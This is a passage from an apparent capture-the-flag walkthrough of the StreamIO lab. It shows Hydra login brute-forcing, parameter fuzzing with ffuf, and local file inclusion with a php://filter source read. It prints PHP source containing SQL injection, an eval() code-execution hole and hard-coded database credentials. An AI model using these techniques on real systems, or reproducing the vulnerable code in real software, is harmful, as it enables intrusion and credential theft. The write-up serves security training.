Authentication
During the initial phase of web enumeration, endpoints for both login and registration were discovered on the streamio.htb
host. While the existence of these endpoints suggested the presence of an authentication mechanism, their functionality remained unclear as attempts to authenticate with a newly created testing account proved unsuccessful. Additionally, an endpoint restricted to admin users, indicated by a 403 status code, was identified, raising further questions.
Subsequently, a SQL injection vulnerability was identified in the q
parameter of the search.php
file, hosted on the dedicated streaming platform at watch.streamio.htb
. This platform (host) is distinct from the main website hosted on the streamio.htb
host as users are able to access and stream the stored media. Exploiting this vulnerability resulted in a successful data exfiltration, revealing the backend that includes credential hashes for the web application on the streamio.htb
host. Some of the credential hashes were cracked at a later stage.
In the following sections, we will explore the authentication process and conduct further enumeration of the admin endpoint on the streamio.htb
host using the obtained credentials.
Brute-Force Attack with Hydra
Considering the availability of numerous usernames and passwords, manually testing each of them would be a time-intensive process. So I will be using hydra here
┌──(kali㉿kali)-[~/archive/htb/labs/streamio]
└─$ hydra -L users.txt -P passwords.txt -S "http-post-form://streamio.htb/login.php:username=^USER^&password=^PASS^:Login failed"
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-14 03:39:31
[DATA] max 16 tasks per 1 server, overall 16 tasks, 403 login tries (l:31/p:13), ~26 tries per task
[DATA] attacking http-post-forms://streamio.htb:443/login.php:username=^USER^&password=^PASS^:Login failed
[443][http-post-form] host: streamio.htb login: yoshihide password: 66boysandgirls..
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-14 03:40:02
Using hydra, a brute-force attack is completed with a credential found; yoshihide
:66boysandgirls..
It’s important to remind that this is a credential for the web app hosted on the streamio.htb
host.
Web authentication succeeded with the found credential
I am redirected to the landing page with a session cookie
admin
I am now able to access the admin endpoint at
/admin/index.php
without getting denied with 403
There appears to be a small interface with 4 functions
User management
The User management button opens up the
user
parameter of the file
It lists users, including the test
account that I have created earlier
Deletion is also supported here
Staff management
The Staff management button indeed lists out those staff users
Query parameter is
staff
here
Movie management
The Movie management button lists all the movies
Query parameter is
movie
Leave a message for admin
The Leave a message for admin button is rather strange as it doesn’t show anything.
The
message
parameter is about all that I can get
Parameter Mining
Examining the admin panel above revealed that the 4 features are embedded within the index.php
file, each associated with distinct parameters. Although one of these features remained unclear, as it did not seem to offer any functionality, I also recognized the potential existence of concealed parameters, hinted at by an anomalous file containing ambiguous text.
┌──(kali㉿kali)-[~/archive/htb/labs/streamio]
└─$ ffuf -X POST -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -u https://streamio.htb/admin/index.php?FUZZ= -ic -b 'PHPSESSID=t5m84bvio8dqsn4oene317saoc' -fs 1678
________________________________________________
:: Method : POST
:: URL : https://streamio.htb/admin/index.php?FUZZ=
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
:: Header : Cookie: PHPSESSID=t5m84bvio8dqsn4oene317saoc
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1678
________________________________________________
debug [Status: 200, Size: 1712, Words: 90, Lines: 50, Duration: 90ms]
movie [Status: 200, Size: 320235, Words: 15986, Lines: 10791, Duration: 108ms]
staff [Status: 200, Size: 12484, Words: 1784, Lines: 399, Duration: 90ms]
user [Status: 200, Size: 2444, Words: 207, Lines: 75, Duration: 86ms]
:: Progress: [6453/6453] :: Job [1/1] :: 396 req/sec :: Duration: [0:00:16] :: Errors: 0 ::
ffuf returned a single hidden parameter; debug
The debug
parameter was never mentioned or documented
While assumptions can easily be made as the name speaks for itself, I will confirm the functionality of it
Debug
Parameter
Exploring the
debug
parameter reveals a text; this option is for developers only
It seems to suggest that the parameter provides privileged access
Following several attempts, I successfully identified its functionality.
it appears to operate primarily through inclusion, resembling php’s include function, allowing the loading and execution of PHP files.
Using the directory traversal technique, I was able to load and execute several existing PHP files, including the
index.php
and about.php
files in the webroot
Although this introduces a whole new set of security concerns, my immediate focus will be on investigating the peculiar file containing cryptic text. Given the explicit mention of inclusion in the text, it suggests potential interconnectedness and relevance to the identified security issues.
master.php
This is the strange file with ambiguous text, specifically mentioning “inclusion”
Leveraging the
debug
parameter, I can attempt to load and execute the master.php
file
To my surprise, this appears to be the admin panel itself, index.php
, that I have been enumerating all along earlier above
So clearly, the “admin panel”, which I initially thought to be running off the index.php
file and the strange master.php
file are somehow connected.
I will clarify the connection further by attempting to read the source code
Do to so, I will be using the PHP conversion filter to “wrap” the target resource by encoding it in the base64 format.
“Wrapping” is necessary as the inclusion in the debug
parameter would otherwise execute PHP codes in the target resource.
This is a commonly used technique to further utilize the existing LFI to perform file read operation
The syntax is
php://filter/convert.base64-encode/resource=<FILE>
There is the base64 string.
I will grab that and convert it back to its original statement offline on Kali to check the source code
Source Code
┌──(kali㉿kali)-[~/archive/htb/labs/streamio]
└─$ base64 -d master.php.b64
<h1>Movie managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['movie']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST" action="?movie=">
<input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>
<div>
<div class="form-control" style="height: 3rem;">
<h4 style="float:left;"><?php echo $row['username']; ?></h4>
<div style="float:right;padding-right: 25px;">
<form method="POST">
<input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
<input type="submit" class="btn btn-sm btn-primary" value="Delete">
</form>
</div>
</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" )
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
Checking the source code of the master.php
file reveals 2 sets of critical information;
- A hidden HTML input form with an input field (parameter) named
include
- This input field is integral to the form, and its value will be sent as part of the POST data.
- The PHP section located directly below handles the POST request made with the
include
parameter- It does that by checking if the
include
parameter is set in the POST data usingisset($_POST['include'])
.- If the
include
parameter is set, it then checks if the value is not equal toindex.php
- if the condition is true, it uses the file_get_contents function to read the specified file and the eval function to execute the content
- If the
- It does that by checking if the
This essentially implies that the master.php
file reads and executes any file specified in the include
POST parameter, provided it is not index.php
.
arbitrary code execution is entirely possible as the eval function is called without presence of any input sanitization. I could additionally leverage RFI to load up and execute an arbitrary PHP code
What About index.php
?
Although an attack vector has clearly been established above, it still doesn’t explain the interconnectivity of both index.php
and master.php
files
I will explore further by checking the source code of the index.php
file
Employing the same technique to grab the
index.php
file
┌──(kali㉿kali)-[~/archive/htb/labs/streamio]
└─$ base64 -d index.php.b64
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
header('HTTP/1.1 403 Forbidden');
die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Admin panel</title>
<link rel = "icon" href="/images/icon.png" type = "image/x-icon">
<!-- Basic -->
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<!-- Mobile Metas -->
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<!-- Site Metas -->
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta name="author" content="" />
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
<!-- Custom styles for this template -->
<link href="/css/style.css" rel="stylesheet" />
<!-- responsive style -->
<link href="/css/responsive.css" rel="stylesheet" />
</head>
<body>
<center class="container">
<br>
<h1>Admin panel</h1>
<br><hr><br>
<ul class="nav nav-pills nav-fill">
<li class="nav-item">
<a class="nav-link" href="?user=">User management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?staff=">Staff management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?movie=">Movie management</a>
</li>
<li class="nav-item">
<a class="nav-link" href="?message=">Leave a message for admin</a>
</li>
</ul>
<br><hr><br>
<div id="inc">
<?php
if(isset($_GET['debug']))
{
echo 'this option is for developers only';
if($_GET['debug'] === "index.php") {
die(' ---- ERROR ----');
} else {
include $_GET['debug'];
}
}
else if(isset($_GET['user']))
require 'user_inc.php';
else if(isset($_GET['staff']))
require 'staff_inc.php';
else if(isset($_GET['movie']))
require 'movie_inc.php';
else
?>
</div>
</center>
</body>
</html>
It turns out the index.php
file has a CLEARTEXT DB credential hard-coded into the SQL connection string; db_admin
:B1@hx31234567890
Judging by the name, this account presumably has a higher privileges compared to the db_user
account, enumerated from the earlier SQLi
While the actual admin panel is running off the master.php
file, the index.php
file seems to be focusing on privileged session handling as well as providing HTLM functionalities mapped to the backend in the master.php
file
The
debug
parameter can also be seen above with the include function used